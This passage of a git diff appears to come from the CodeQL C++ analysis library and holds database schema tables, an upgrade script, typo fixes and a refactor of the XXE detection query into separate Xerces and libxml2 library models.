+    unique int id: @preprocdirect ref,
+    string head: string ref,
+    string body: string ref
+);
+
+includes(
+    unique int id: @ppd_include ref,
+    int included: @file ref
+);
+
+link_targets(
+    unique int id: @link_target,
+    int binary: @file ref
+);
+
+link_parent(
+    int element : @element ref,
+    int link_target : @link_target ref
+);
+
+/* XML Files */
+
+xmlEncoding(unique int id: @file ref, string encoding: string ref);
+
+xmlDTDs(
+    unique int id: @xmldtd,
+    string root: string ref,
+    string publicId: string ref,
+    string systemId: string ref,
+    int fileid: @file ref
+);
+
+xmlElements(
+    unique int id: @xmlelement,
+    string name: string ref,
+    int parentid: @xmlparent ref,
+    int idx: int ref,
+    int fileid: @file ref
+);
+
+xmlAttrs(
+    unique int id: @xmlattribute,
+    int elementid: @xmlelement ref,
+    string name: string ref,
+    string value: string ref,
+    int idx: int ref,
+    int fileid: @file ref
+);
+
+xmlNs(
+    int id: @xmlnamespace,
+    string prefixName: string ref,
+    string URI: string ref,
+    int fileid: @file ref
+);
+
+xmlHasNs(
+    int elementId: @xmlnamespaceable ref,
+    int nsId: @xmlnamespace ref,
+    int fileid: @file ref
+);
+
+xmlComments(
+    unique int id: @xmlcomment,
+    string text: string ref,
+    int parentid: @xmlparent ref,
+    int fileid: @file ref
+);
+
+xmlChars(
+    unique int id: @xmlcharacters,
+    string text: string ref,
+    int parentid: @xmlparent ref,
+    int idx: int ref,
+    int isCDATA: int ref,
+    int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+    int xmlElement: @xmllocatable ref,
+    int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters
+              | @xmlelement
+              | @xmlcomment
+              | @xmlattribute
+              | @xmldtd
+              | @file
+              | @xmlnamespace;
diff --git a/cpp/ql/lib/upgrades/e9a518baf14f4322ac243578a8e1391386ff030f/stmtparents.ql b/cpp/ql/lib/upgrades/e9a518baf14f4322ac243578a8e1391386ff030f/stmtparents.ql
new file mode 100644
index 00000000000..e4865284f9c
--- /dev/null
+++ b/cpp/ql/lib/upgrades/e9a518baf14f4322ac243578a8e1391386ff030f/stmtparents.ql
@@ -0,0 +1,17 @@
+class Element extends @element {
+  string toString() { none() }
+}
+
+class Stmt extends @stmt {
+  string toString() { none() }
+}
+
+predicate isStmtWithInitializer(Stmt stmt) {
+  exists(int kind | stmts(stmt, kind, _) | kind = 2 or kind = 11 or kind = 35)
+}
+
+from Stmt child, int index, int index_new, Element parent
+where
+  stmtparents(child, index, parent) and
+  if isStmtWithInitializer(parent) then index_new = index + 1 else index_new = index
+select child, index_new, parent
diff --git a/cpp/ql/lib/upgrades/e9a518baf14f4322ac243578a8e1391386ff030f/upgrade.properties b/cpp/ql/lib/upgrades/e9a518baf14f4322ac243578a8e1391386ff030f/upgrade.properties
new file mode 100644
index 00000000000..46b0525f473
--- /dev/null
+++ b/cpp/ql/lib/upgrades/e9a518baf14f4322ac243578a8e1391386ff030f/upgrade.properties
@@ -0,0 +1,4 @@
+description: Support C++17 if and switch initializers
+compatibility: partial
+exprparents.rel: run exprparents.qlo
+stmtparents.rel: run stmtparents.qlo
diff --git a/cpp/ql/src/Best Practices/Unused Entities/UnusedLocals.ql b/cpp/ql/src/Best Practices/Unused Entities/UnusedLocals.ql
index 851d59f680f..cbb143dcebc 100644
--- a/cpp/ql/src/Best Practices/Unused Entities/UnusedLocals.ql	
+++ b/cpp/ql/src/Best Practices/Unused Entities/UnusedLocals.ql	
@@ -57,6 +57,5 @@ where
   not declarationHasSideEffects(v) and
   not exists(AsmStmt s | f = s.getEnclosingFunction()) and
   not v.getAnAttribute().getName() = "unused" and
-  not any(ErrorExpr e).getEnclosingFunction() = f and // unextracted expr may use `v`
-  not any(ConditionDeclExpr cde).getEnclosingFunction() = f // this case can be removed when the `if (a = b; a)` and `switch (a = b; a)` test cases don't depend on this exclusion
+  not any(ErrorExpr e).getEnclosingFunction() = f // unextracted expr may use `v`
 select v, "Variable " + v.getName() + " is not used"
diff --git a/cpp/ql/src/CHANGELOG.md b/cpp/ql/src/CHANGELOG.md
index d0200fbfd1a..50408aea104 100644
--- a/cpp/ql/src/CHANGELOG.md
+++ b/cpp/ql/src/CHANGELOG.md
@@ -1,3 +1,15 @@
+## 0.1.2
+
+### Minor Analysis Improvements
+
+* The "XML external entity expansion" (`cpp/external-entity-expansion`) query has been extended to support a broader selection of XML libraries and interfaces.
+
+## 0.1.1
+
+### New Queries
+
+* An new query `cpp/external-entity-expansion` has been added. The query detects XML objects that are vulnerable to external entity expansion (XXE) attacks.
+
 ## 0.1.0
 
 ### Minor Analysis Improvements
diff --git a/cpp/ql/src/Diagnostics/ExtractionProblems.qll b/cpp/ql/src/Diagnostics/ExtractionProblems.qll
index c96e2e926e8..b6dd835261d 100644
--- a/cpp/ql/src/Diagnostics/ExtractionProblems.qll
+++ b/cpp/ql/src/Diagnostics/ExtractionProblems.qll
@@ -57,10 +57,10 @@ class ExtractionProblem extends TExtractionProblem {
   /** Gets the problem message for this problem. */
   string getProblemMessage() { none() }
 
-  /** Gets the file this problem occured in. */
+  /** Gets the file this problem occurred in. */
   File getFile() { none() }
 
-  /** Gets the location this problem occured in. */
+  /** Gets the location this problem occurred in. */
   Location getLocation() { none() }
 
   /** Gets the SARIF severity of this problem. */
diff --git a/cpp/ql/src/Diagnostics/Internal/ExtractionErrors.qll b/cpp/ql/src/Diagnostics/Internal/ExtractionErrors.qll
index 4cf6f8145f8..1ac69186a93 100644
--- a/cpp/ql/src/Diagnostics/Internal/ExtractionErrors.qll
+++ b/cpp/ql/src/Diagnostics/Internal/ExtractionErrors.qll
@@ -57,10 +57,10 @@ class ExtractionError extends TExtractionError {
   /** Gets the error message for this error. */
   string getErrorMessage() { none() }
 
-  /** Gets the file this error occured in. */
+  /** Gets the file this error occurred in. */
   File getFile() { none() }
 
-  /** Gets the location this error occured in. */
+  /** Gets the location this error occurred in. */
   Location getLocation() { none() }
 
   /** Gets the SARIF severity of this error. */
diff --git a/cpp/ql/src/Likely Bugs/Conversion/LossyFunctionResultCast.ql b/cpp/ql/src/Likely Bugs/Conversion/LossyFunctionResultCast.ql
index 2a8aba6a961..dee723e2686 100644
--- a/cpp/ql/src/Likely Bugs/Conversion/LossyFunctionResultCast.ql	
+++ b/cpp/ql/src/Likely Bugs/Conversion/LossyFunctionResultCast.ql	
@@ -19,7 +19,7 @@ predicate whitelist(Function f) {
       "nearbyintl", "rint", "rintf", "rintl", "round", "roundf", "roundl", "trunc", "truncf",
       "truncl"
     ] or
-  f.getName().matches("__builtin_%")
+  f.getName().matches("\\_\\_builtin\\_%")
 }
 
 predicate whitelistPow(FunctionCall fc) {
diff --git a/cpp/ql/src/Likely Bugs/Memory Management/ReturnStackAllocatedMemory.ql b/cpp/ql/src/Likely Bugs/Memory Management/ReturnStackAllocatedMemory.ql
index dc5a0848296..c72e25f61df 100644
--- a/cpp/ql/src/Likely Bugs/Memory Management/ReturnStackAllocatedMemory.ql	
+++ b/cpp/ql/src/Likely Bugs/Memory Management/ReturnStackAllocatedMemory.ql	
@@ -14,9 +14,6 @@
  */
 
 import cpp
-// We don't actually use the global value numbering library in this query, but without it we end up
-// recomputing the IR.
-private import semmle.code.cpp.valuenumbering.GlobalValueNumbering
 import semmle.code.cpp.ir.IR
 import semmle.code.cpp.ir.dataflow.MustFlow
 import PathGraph
diff --git a/cpp/ql/src/Likely Bugs/Memory Management/SuspiciousCallToMemset.ql b/cpp/ql/src/Likely Bugs/Memory Management/SuspiciousCallToMemset.ql
index 8e41b414794..cb495f939fb 100644
--- a/cpp/ql/src/Likely Bugs/Memory Management/SuspiciousCallToMemset.ql	
+++ b/cpp/ql/src/Likely Bugs/Memory Management/SuspiciousCallToMemset.ql	
@@ -2,7 +2,7 @@
  * @name Suspicious call to memset
  * @description Use of memset where the size argument is computed as the size of
  *              some non-struct type. When initializing a buffer, you should specify
- *              its size as <number of elements> * <size of one element> to ensure
+ *              its size as `<number of elements> * <size of one element>` to ensure
  *              portability.
  * @kind problem
  * @id cpp/suspicious-call-to-memset
diff --git a/cpp/ql/src/Likely Bugs/OO/UnsafeUseOfThis.ql b/cpp/ql/src/Likely Bugs/OO/UnsafeUseOfThis.ql
index 32a97a4c8d3..7f1a007ac0c 100644
--- a/cpp/ql/src/Likely Bugs/OO/UnsafeUseOfThis.ql	
+++ b/cpp/ql/src/Likely Bugs/OO/UnsafeUseOfThis.ql	
@@ -15,9 +15,6 @@
  */
 
 import cpp
-// We don't actually use the global value numbering library in this query, but without it we end up
-// recomputing the IR.
-import semmle.code.cpp.valuenumbering.GlobalValueNumbering
 import semmle.code.cpp.ir.IR
 import semmle.code.cpp.ir.dataflow.MustFlow
 import PathGraph
diff --git a/cpp/ql/src/Security/CWE/CWE-611/Libxml2.qll b/cpp/ql/src/Security/CWE/CWE-611/Libxml2.qll
new file mode 100644
index 00000000000..c20849fcd9e
--- /dev/null
+++ b/cpp/ql/src/Security/CWE/CWE-611/Libxml2.qll
@@ -0,0 +1,78 @@
+/**
+ * Models the libxml2 XML library.
+ */
+
+import cpp
+import XML
+import semmle.code.cpp.valuenumbering.GlobalValueNumbering
+
+/**
+ * A call to a `libxml2` function that parses XML.
+ */
+class Libxml2ParseCall extends FunctionCall {
+  int optionsArg;
+
+  Libxml2ParseCall() {
+    exists(string fname | this.getTarget().getName() = fname |
+      fname = "xmlCtxtUseOptions" and optionsArg = 1
+      or
+      fname = "xmlReadFile" and optionsArg = 2
+      or
+      fname = ["xmlCtxtReadFile", "xmlParseInNodeContext", "xmlReadDoc", "xmlReadFd"] and
+      optionsArg = 3
+      or
+      fname = ["xmlCtxtReadDoc", "xmlCtxtReadFd", "xmlReadMemory"] and optionsArg = 4
+      or
+      fname = ["xmlCtxtReadMemory", "xmlReadIO"] and optionsArg = 5
+      or
+      fname = "xmlCtxtReadIO" and optionsArg = 6
+    )
+  }
+
+  /**
+   * Gets the argument that specifies `xmlParserOption`s.
+   */
+  Expr getOptions() { result = this.getArgument(optionsArg) }
+}
+
+/**
+ * An `xmlParserOption` for `libxml2` that is considered unsafe.
+ */
+class Libxml2BadOption extends EnumConstant {
+  Libxml2BadOption() { this.getName() = ["XML_PARSE_NOENT", "XML_PARSE_DTDLOAD"] }
+}
+
+/**
+ * The libxml2 XML library.
+ */
+class LibXml2Library extends XmlLibrary {
+  LibXml2Library() { this = "LibXml2Library" }
+
+  override predicate configurationSource(DataFlow::Node node, string flowstate) {
+    // source is an `options` argument on a libxml2 parse call that specifies
+    // at least one unsafe option.
+    //
+    // note: we don't need to track an XML object for libxml2, so we don't
+    // really need data flow. Nevertheless we jam it into this configuration,
+    // with matching sources and sinks. This allows results to be presented by
+    // the same query, in a consistent way as other results with flow paths.
+    exists(Libxml2ParseCall call, Expr options |
+      options = call.getOptions() and
+      node.asExpr() = options and
+      flowstate = "libxml2" and
+      exists(Libxml2BadOption opt |
+        globalValueNumber(options).getAnExpr().getValue().toInt().bitAnd(opt.getValue().toInt()) !=
+          0
+      )
+    )
+  }
+
+  override predicate configurationSink(DataFlow::Node node, string flowstate) {
+    // sink is the `options` argument on a `libxml2` parse call.
+    exists(Libxml2ParseCall call, Expr options |
+      options = call.getOptions() and
+      node.asExpr() = options and
+      flowstate = "libxml2"
+    )
+  }
+}
diff --git a/cpp/ql/src/Security/CWE/CWE-611/XML.qll b/cpp/ql/src/Security/CWE/CWE-611/XML.qll
new file mode 100644
index 00000000000..5d071ed7654
--- /dev/null
+++ b/cpp/ql/src/Security/CWE/CWE-611/XML.qll
@@ -0,0 +1,55 @@
+/**
+ * Provides a abstract classes for modeling XML libraries. This design is
+ * currently specialized for the purposes of the XXE query.
+ */
+
+import cpp
+import semmle.code.cpp.ir.dataflow.DataFlow
+import Xerces
+import Libxml2
+
+/**
+ * A flow state representing a possible configuration of an XML object.
+ */
+abstract class XxeFlowState extends DataFlow::FlowState {
+  bindingset[this]
+  XxeFlowState() { any() } // required characteristic predicate
+}
+
+/**
+ * An XML library or interface.
+ */
+abstract class XmlLibrary extends string {
+  bindingset[this]
+  XmlLibrary() { any() } // required characteristic predicate
+
+  /**
+   * Holds if `node` is the source node for a potentially unsafe configuration
+   * object for this XML library, along with `flowstate` representing its
+   * initial state.
+   */
+  abstract predicate configurationSource(DataFlow::Node node, string flowstate);
+
+  /**
+   * Holds if `node` is  the sink node where an unsafe configuration object is
+   * used to interpret XML.
+   */
+  abstract predicate configurationSink(DataFlow::Node node, string flowstate);
+}
+
+/**
+ * An `Expr` that changes the configuration of an XML object, transforming the
+ * `XxeFlowState` that flows through it.
+ */
+abstract class XxeFlowStateTransformer extends Expr {
+  /**
+   * Gets the flow state that `flowstate` is transformed into.
+   *
+   * Due to limitations of the implementation the transformation defined by this
+   * predicate must be idempotent, that is, for any input `x` it must be that:
+   * ```
+   * transform(transform(x)) = transform(x)
+   * ```
+   */
+  abstract XxeFlowState transform(XxeFlowState flowstate);
+}
diff --git a/cpp/ql/src/Security/CWE/CWE-611/XXE.ql b/cpp/ql/src/Security/CWE/CWE-611/XXE.ql
index 78cd914872d..da17913dec5 100644
--- a/cpp/ql/src/Security/CWE/CWE-611/XXE.ql
+++ b/cpp/ql/src/Security/CWE/CWE-611/XXE.ql
@@ -7,169 +7,14 @@
  * @id cpp/external-entity-expansion
  * @problem.severity warning
  * @security-severity 9.1
- * @precision medium
+ * @precision high
  * @tags security
  *       external/cwe/cwe-611
  */
 
 import cpp
-import semmle.code.cpp.ir.dataflow.DataFlow
+import XML
 import DataFlow::PathGraph
-import semmle.code.cpp.ir.IR
-
-/**
- * A flow state representing a possible configuration of an XML object.
- */
-abstract class XXEFlowState extends DataFlow::FlowState {
-  bindingset[this]
-  XXEFlowState() { any() } // required characteristic predicate
-}
-
-/**
- * An `Expr` that changes the configuration of an XML object, transforming the
- * `XXEFlowState` that flows through it.
- */
-abstract class XXEFlowStateTranformer extends Expr {
-  /**
-   * Gets the flow state that `flowstate` is transformed into.
-   *
-   * Due to limitations of the implementation the transformation defined by this
-   * predicate must be idempotent, that is, for any input `x` it must be that:
-   * ```
-   * transform(tranform(x)) = tranform(x)
-   * ```
-   */
-  abstract XXEFlowState transform(XXEFlowState flowstate);
-}
-
-/**
- * The `AbstractDOMParser` class.
- */
-class AbstractDOMParserClass extends Class {
-  AbstractDOMParserClass() { this.hasName("AbstractDOMParser") }
-}
-
-/**
- * The `XercesDOMParser` class.
- */
-class XercesDOMParserClass extends Class {
-  XercesDOMParserClass() { this.hasName("XercesDOMParser") }
-}
-
-/**
- * Gets a valid flow state for `XercesDOMParser` flow.
- *
- * These flow states take the form `XercesDOM-A-B`, where:
- *  - A is 1 if `setDisableDefaultEntityResolution` is `true`, 0 otherwise.
- *  - B is 1 if `setCreateEntityReferenceNodes` is `true`, 0 otherwise.
- */
-predicate encodeXercesDOMFlowState(
-  string flowstate, int disabledDefaultEntityResolution, int createEntityReferenceNodes
-) {
-  flowstate = "XercesDOM-0-0" and
-  disabledDefaultEntityResolution = 0 and
-  createEntityReferenceNodes = 0
-  or
-  flowstate = "XercesDOM-0-1" and
-  disabledDefaultEntityResolution = 0 and
-  createEntityReferenceNodes = 1
-  or
-  flowstate = "XercesDOM-1-0" and
-  disabledDefaultEntityResolution = 1 and
-  createEntityReferenceNodes = 0
-  or
-  flowstate = "XercesDOM-1-1" and
-  disabledDefaultEntityResolution = 1 and
-  createEntityReferenceNodes = 1
-}
-
-/**
- * A flow state representing the configuration of a `XercesDOMParser` object.
- */
-class XercesDOMParserFlowState extends XXEFlowState {
-  XercesDOMParserFlowState() { encodeXercesDOMFlowState(this, _, _) }
-}
-
-/**
- * A flow state transformer for a call to
- * `AbstractDOMParser.setDisableDefaultEntityResolution`. Transforms the flow
- * state through the qualifier according to the setting in the parameter.
- */
-class DisableDefaultEntityResolutionTranformer extends XXEFlowStateTranformer {
-  Expr newValue;
-
-  DisableDefaultEntityResolutionTranformer() {
-    exists(Call call, Function f |
-      call.getTarget() = f and
-      f.getDeclaringType() instanceof AbstractDOMParserClass and
-      f.hasName("setDisableDefaultEntityResolution") and
-      this = call.getQualifier() and
-      newValue = call.getArgument(0)
-    )
-  }
-
-  final override XXEFlowState transform(XXEFlowState flowstate) {
-    exists(int createEntityReferenceNodes |
-      encodeXercesDOMFlowState(flowstate, _, createEntityReferenceNodes) and
-      (
-        newValue.getValue().toInt() = 1 and // true
-        encodeXercesDOMFlowState(result, 1, createEntityReferenceNodes)
-        or
-        not newValue.getValue().toInt() = 1 and // false or unknown
-        encodeXercesDOMFlowState(result, 0, createEntityReferenceNodes)
-      )
-    )
-  }
-}
-
-/**
- * A flow state transformer for a call to
- * `AbstractDOMParser.setCreateEntityReferenceNodes`. Transforms the flow
- * state through the qualifier according to the setting in the parameter.
- */
-class CreateEntityReferenceNodesTranformer extends XXEFlowStateTranformer {
-  Expr newValue;
-
-  CreateEntityReferenceNodesTranformer() {
-    exists(Call call, Function f |
-      call.getTarget() = f and
-      f.getDeclaringType() instanceof AbstractDOMParserClass and
-      f.hasName("setCreateEntityReferenceNodes") and
-      this = call.getQualifier() and
-      newValue = call.getArgument(0)
-    )
-  }
-
-  final override XXEFlowState transform(XXEFlowState flowstate) {
-    exists(int disabledDefaultEntityResolution |
-      encodeXercesDOMFlowState(flowstate, disabledDefaultEntityResolution, _) and
-      (
-        newValue.getValue().toInt() = 1 and // true
-        encodeXercesDOMFlowState(result, disabledDefaultEntityResolution, 1)
-        or
-        not newValue.getValue().toInt() = 1 and // false or unknown
-        encodeXercesDOMFlowState(result, disabledDefaultEntityResolution, 0)
-      )
-    )
-  }
-}
-
-/**
- * The `AbstractDOMParser.parse` method.
- */
-class ParseFunction extends Function {
-  ParseFunction() { this.getClassAndName("parse") instanceof AbstractDOMParserClass }
-}
-
-/**
- * The `createLSParser` function that returns a newly created `LSParser` object.
- */
-class CreateLSParser extends Function {
-  CreateLSParser() {
-    this.hasName("createLSParser") and
-    this.getUnspecifiedType().(PointerType).getBaseType().getName() = "DOMLSParser" // returns a `DOMLSParser *`.
-  }
-}
 
 /**
  * A configuration for tracking XML objects and their states.
@@ -178,45 +23,25 @@ class XXEConfiguration extends DataFlow::Configuration {
   XXEConfiguration() { this = "XXEConfiguration" }
 
   override predicate isSource(DataFlow::Node node, string flowstate) {
-    // source is the write on `this` of a call to the `XercesDOMParser`
-    // constructor.
-    exists(CallInstruction call |
-      call.getStaticCallTarget() = any(XercesDOMParserClass c).getAConstructor() and
-      node.asInstruction().(WriteSideEffectInstruction).getDestinationAddress() =
-        call.getThisArgument() and
-      encodeXercesDOMFlowState(flowstate, 0, 1) // default configuration
-    )
-    or
-    // source is the result of a call to `createLSParser`.
-    exists(Call call |
-      call.getTarget() instanceof CreateLSParser and
-      call = node.asExpr() and
-      encodeXercesDOMFlowState(flowstate, 0, 1) // default configuration
-    )
+    any(XmlLibrary l).configurationSource(node, flowstate)
   }
 
   override predicate isSink(DataFlow::Node node, string flowstate) {
-    // sink is the read of the qualifier of a call to `parse`.
-    exists(Call call |
-      call.getTarget() instanceof ParseFunction and
-      call.getQualifier() = node.asConvertedExpr()
-    ) and
-    flowstate instanceof XercesDOMParserFlowState and
-    not encodeXercesDOMFlowState(flowstate, 1, 1) // safe configuration
+    any(XmlLibrary l).configurationSink(node, flowstate)
   }
 
   override predicate isAdditionalFlowStep(
     DataFlow::Node node1, string state1, DataFlow::Node node2, string state2
   ) {
-    // create additional flow steps for `XXEFlowStateTranformer`s
-    state2 = node2.asConvertedExpr().(XXEFlowStateTranformer).transform(state1) and
+    // create additional flow steps for `XxeFlowStateTransformer`s
+    state2 = node2.asConvertedExpr().(XxeFlowStateTransformer).transform(state1) and
     DataFlow::simpleLocalFlowStep(node1, node2)
   }
 
   override predicate isBarrier(DataFlow::Node node, string flowstate) {
     // when the flowstate is transformed at a call node, block the original
     // flowstate value.
-    node.asConvertedExpr().(XXEFlowStateTranformer).transform(flowstate) != flowstate
+    node.asConvertedExpr().(XxeFlowStateTransformer).transform(flowstate) != flowstate
   }
 }
 
diff --git a/cpp/ql/src/Security/CWE/CWE-611/Xerces.qll b/cpp/ql/src/Security/CWE/CWE-611/Xerces.qll
new file mode 100644
index 00000000000..7b971f00293
--- /dev/null
+++ b/cpp/ql/src/Security/CWE/CWE-611/Xerces.qll
@@ -0,0 +1,376 @@
+/**
+ * Models the Xerces XML library.
+ */
+
+import cpp
+import XML
+import semmle.code.cpp.valuenumbering.GlobalValueNumbering
+import semmle.code.cpp.ir.IR
+
+/**
+ * Gets a valid flow state for `AbstractDOMParser` or `SAXParser` flow.
+ *
+ * These flow states take the form `Xerces-A-B`, where:
+ *  - A is 1 if `setDisableDefaultEntityResolution` is `true`, 0 otherwise.
+ *  - B is 1 if `setCreateEntityReferenceNodes` is `true`, 0 otherwise.
+ */
+predicate encodeXercesFlowState(
+  string flowstate, int disabledDefaultEntityResolution, int createEntityReferenceNodes
+) {
+  flowstate = "Xerces-0-0" and
+  disabledDefaultEntityResolution = 0 and
+  createEntityReferenceNodes = 0
+  or
+  flowstate = "Xerces-0-1" and
+  disabledDefaultEntityResolution = 0 and
+  createEntityReferenceNodes = 1
+  or
+  flowstate = "Xerces-1-0" and
+  disabledDefaultEntityResolution = 1 and
+  createEntityReferenceNodes = 0
+  or
+  flowstate = "Xerces-1-1" and
+  disabledDefaultEntityResolution = 1 and
+  createEntityReferenceNodes = 1
+}
+
+/**
+ * A flow state representing the configuration of an `AbstractDOMParser` or
+ * `SAXParser` object.
+ */
+class XercesFlowState extends XxeFlowState {
+  XercesFlowState() { encodeXercesFlowState(this, _, _) }
+}
+
+/**
+ * The `AbstractDOMParser` class.
+ */
+class AbstractDomParserClass extends Class {
+  AbstractDomParserClass() { this.hasName("AbstractDOMParser") }
+}
+
+/**
+ * The `XercesDOMParser` class.
+ */
+class XercesDomParserClass extends Class {
+  XercesDomParserClass() { this.hasName("XercesDOMParser") }
+}
+
+/**
+ * The `XercesDOMParser` interface for the Xerces XML library.
+ */
+class XercesDomParserLibrary extends XmlLibrary {
+  XercesDomParserLibrary() { this = "XercesDomParserLibrary" }
+
+  override predicate configurationSource(DataFlow::Node node, string flowstate) {
+    // source is the write on `this` of a call to the `XercesDOMParser`
+    // constructor.
+    exists(CallInstruction call |
+      call.getStaticCallTarget() = any(XercesDomParserClass c).getAConstructor() and
+      node.asInstruction().(WriteSideEffectInstruction).getDestinationAddress() =
+        call.getThisArgument() and
+      encodeXercesFlowState(flowstate, 0, 1) // default configuration
+    )
+  }
+
+  override predicate configurationSink(DataFlow::Node node, string flowstate) {
+    // sink is the read of the qualifier of a call to `AbstractDOMParser.parse`.
+    exists(Call call |
+      call.getTarget().getClassAndName("parse") instanceof AbstractDomParserClass and
+      call.getQualifier() = node.asConvertedExpr()
+    ) and
+    flowstate instanceof XercesFlowState and
+    not encodeXercesFlowState(flowstate, 1, 1) // safe configuration
+  }
+}
+
+/**
+ * The `DOMLSParser` class.
+ */
+class DomLSParserClass extends Class {
+  DomLSParserClass() { this.hasName("DOMLSParser") }
+}
+
+/**
+ * The `createLSParser` function that returns a newly created `DOMLSParser`
+ * object.
+ */
+class CreateLSParser extends Function {
+  CreateLSParser() {
+    this.hasName("createLSParser") and
+    this.getUnspecifiedType().(PointerType).getBaseType() instanceof DomLSParserClass // returns a `DOMLSParser *`.
+  }
+}
+
+/**
+ * The createLSParser interface for the Xerces XML library.
+ */
+class CreateLSParserLibrary extends XmlLibrary {
+  CreateLSParserLibrary() { this = "CreateLSParserLibrary" }
+
+  override predicate configurationSource(DataFlow::Node node, string flowstate) {
+    // source is the result of a call to `createLSParser`.
+    exists(Call call |
+      call.getTarget() instanceof CreateLSParser and
+      call = node.asExpr() and
+      encodeXercesFlowState(flowstate, 0, 1) // default configuration
+    )
+  }
+
+  override predicate configurationSink(DataFlow::Node node, string flowstate) {
+    // sink is the read of the qualifier of a call to `DOMLSParserClass.parse`.
+    exists(Call call |
+      call.getTarget().getClassAndName("parse") instanceof DomLSParserClass and
+      call.getQualifier() = node.asConvertedExpr()
+    ) and
+    flowstate instanceof XercesFlowState and
+    not encodeXercesFlowState(flowstate, 1, 1) // safe configuration
+  }
+}
+
+/**
+ * The `SAXParser` class.
+ */
+class SaxParserClass extends Class {
+  SaxParserClass() { this.hasName("SAXParser") }
+}
+
+/**
+ * The `SAX2XMLReader` class.
+ */
+class Sax2XmlReader extends Class {
+  Sax2XmlReader() { this.hasName("SAX2XMLReader") }
+}
+
+/**
+ * The SAXParser interface for the Xerces XML library.
+ */
+class SaxParserLibrary extends XmlLibrary {
+  SaxParserLibrary() { this = "SaxParserLibrary" }
+
+  override predicate configurationSource(DataFlow::Node node, string flowstate) {
+    // source is the write on `this` of a call to the `SAXParser`
+    // constructor.
+    exists(CallInstruction call |
+      call.getStaticCallTarget() = any(SaxParserClass c).getAConstructor() and
+      node.asInstruction().(WriteSideEffectInstruction).getDestinationAddress() =
+        call.getThisArgument() and
+      encodeXercesFlowState(flowstate, 0, 1) // default configuration
+    )
+  }
+
+  override predicate configurationSink(DataFlow::Node node, string flowstate) {
+    // sink is the read of the qualifier of a call to `SAXParser.parse`.
+    exists(Call call |
+      call.getTarget().getClassAndName("parse") instanceof SaxParserClass and
+      call.getQualifier() = node.asConvertedExpr()
+    ) and
+    flowstate instanceof XercesFlowState and
+    not encodeXercesFlowState(flowstate, 1, 1) // safe configuration
+  }
+}
+
+/**
+ * The `createXMLReader` function that returns a newly created `SAX2XMLReader`
+ * object.
+ */
+class CreateXmlReader extends Function {
+  CreateXmlReader() {
+    this.hasName("createXMLReader") and
+    this.getUnspecifiedType().(PointerType).getBaseType() instanceof Sax2XmlReader // returns a `SAX2XMLReader *`.
+  }
+}
+
+/**
+ * The SAX2XMLReader interface for the Xerces XML library.
+ */
+class Sax2XmlReaderLibrary extends XmlLibrary {
+  Sax2XmlReaderLibrary() { this = "Sax2XmlReaderLibrary" }
+
+  override predicate configurationSource(DataFlow::Node node, string flowstate) {
+    // source is the result of a call to `createXMLReader`.
+    exists(Call call |
+      call.getTarget() instanceof CreateXmlReader and
+      call = node.asExpr() and
+      encodeXercesFlowState(flowstate, 0, 1) // default configuration
+    )
+  }
+
+  override predicate configurationSink(DataFlow::Node node, string flowstate) {
+    // sink is the read of the qualifier of a call to `SAX2XMLReader.parse`.
+    exists(Call call |
+      call.getTarget().getClassAndName("parse") instanceof Sax2XmlReader and
+      call.getQualifier() = node.asConvertedExpr()
+    ) and
+    flowstate instanceof XercesFlowState and
+    not encodeXercesFlowState(flowstate, 1, 1) // safe configuration
+  }
+}
+
+/**
+ * A flow state transformer for a call to
+ * `AbstractDOMParser.setDisableDefaultEntityResolution` or
+ * `SAXParser.setDisableDefaultEntityResolution`. Transforms the flow
+ * state through the qualifier according to the setting in the parameter.
+ */
+class DisableDefaultEntityResolutionTransformer extends XxeFlowStateTransformer {
+  Expr newValue;
+
+  DisableDefaultEntityResolutionTransformer() {
+    exists(Call call, Function f |
+      call.getTarget() = f and
+      (
+        f.getDeclaringType() instanceof AbstractDomParserClass or
+        f.getDeclaringType() instanceof SaxParserClass
+      ) and
+      f.hasName("setDisableDefaultEntityResolution") and
+      this = call.getQualifier() and
+      newValue = call.getArgument(0)
+    )
+  }
+
+  final override XxeFlowState transform(XxeFlowState flowstate) {
+    exists(int createEntityReferenceNodes |
+      encodeXercesFlowState(flowstate, _, createEntityReferenceNodes) and
+      (
+        globalValueNumber(newValue).getAnExpr().getValue().toInt() = 1 and // true
+        encodeXercesFlowState(result, 1, createEntityReferenceNodes)
+        or
+        not globalValueNumber(newValue).getAnExpr().getValue().toInt() = 1 and // false or unknown
+        encodeXercesFlowState(result, 0, createEntityReferenceNodes)
+      )
+    )
+  }
+}
+
+/**
+ * A flow state transformer for a call to
+ * `AbstractDOMParser.setCreateEntityReferenceNodes`. Transforms the flow
+ * state through the qualifier according to the setting in the parameter.
+ */
+class CreateEntityReferenceNodesTransformer extends XxeFlowStateTransformer {
+  Expr newValue;
+
+  CreateEntityReferenceNodesTransformer() {
+    exists(Call call, Function f |
+      call.getTarget() = f and
+      f.getClassAndName("setCreateEntityReferenceNodes") instanceof AbstractDomParserClass and
+      this = call.getQualifier() and
+      newValue = call.getArgument(0)
+    )
+  }
+
+  final override XxeFlowState transform(XxeFlowState flowstate) {
+    exists(int disabledDefaultEntityResolution |
+      encodeXercesFlowState(flowstate, disabledDefaultEntityResolution, _) and
+      (
+        globalValueNumber(newValue).getAnExpr().getValue().toInt() = 1 and // true
+        encodeXercesFlowState(result, disabledDefaultEntityResolution, 1)
+        or
+        not globalValueNumber(newValue).getAnExpr().getValue().toInt() = 1 and // false or unknown
+        encodeXercesFlowState(result, disabledDefaultEntityResolution, 0)
+      )
+    )
+  }
+}
+
+/**
+ * The `XMLUni.fgXercesDisableDefaultEntityResolution` constant.
+ */
+class FeatureDisableDefaultEntityResolution extends Variable {
+  FeatureDisableDefaultEntityResolution() {
+    this.getName() = "fgXercesDisableDefaultEntityResolution" and
+    this.getDeclaringType().getName() = "XMLUni"
+  }
+}
+
+/**
+ * A flow state transformer for a call to `SAX2XMLReader.setFeature`
+ * specifying the feature `XMLUni::fgXercesDisableDefaultEntityResolution`.
+ * Transforms the flow state through the qualifier according to this setting.
+ */
+class SetFeatureTransformer extends XxeFlowStateTransformer {
+  Expr newValue;
+
+  SetFeatureTransformer() {
+    exists(Call call, Function f |
+      call.getTarget() = f and
+      f.getClassAndName("setFeature") instanceof Sax2XmlReader and
+      this = call.getQualifier() and
+      globalValueNumber(call.getArgument(0)).getAnExpr().(VariableAccess).getTarget() instanceof
+        FeatureDisableDefaultEntityResolution and
+      newValue = call.getArgument(1)
+    )
+  }
+
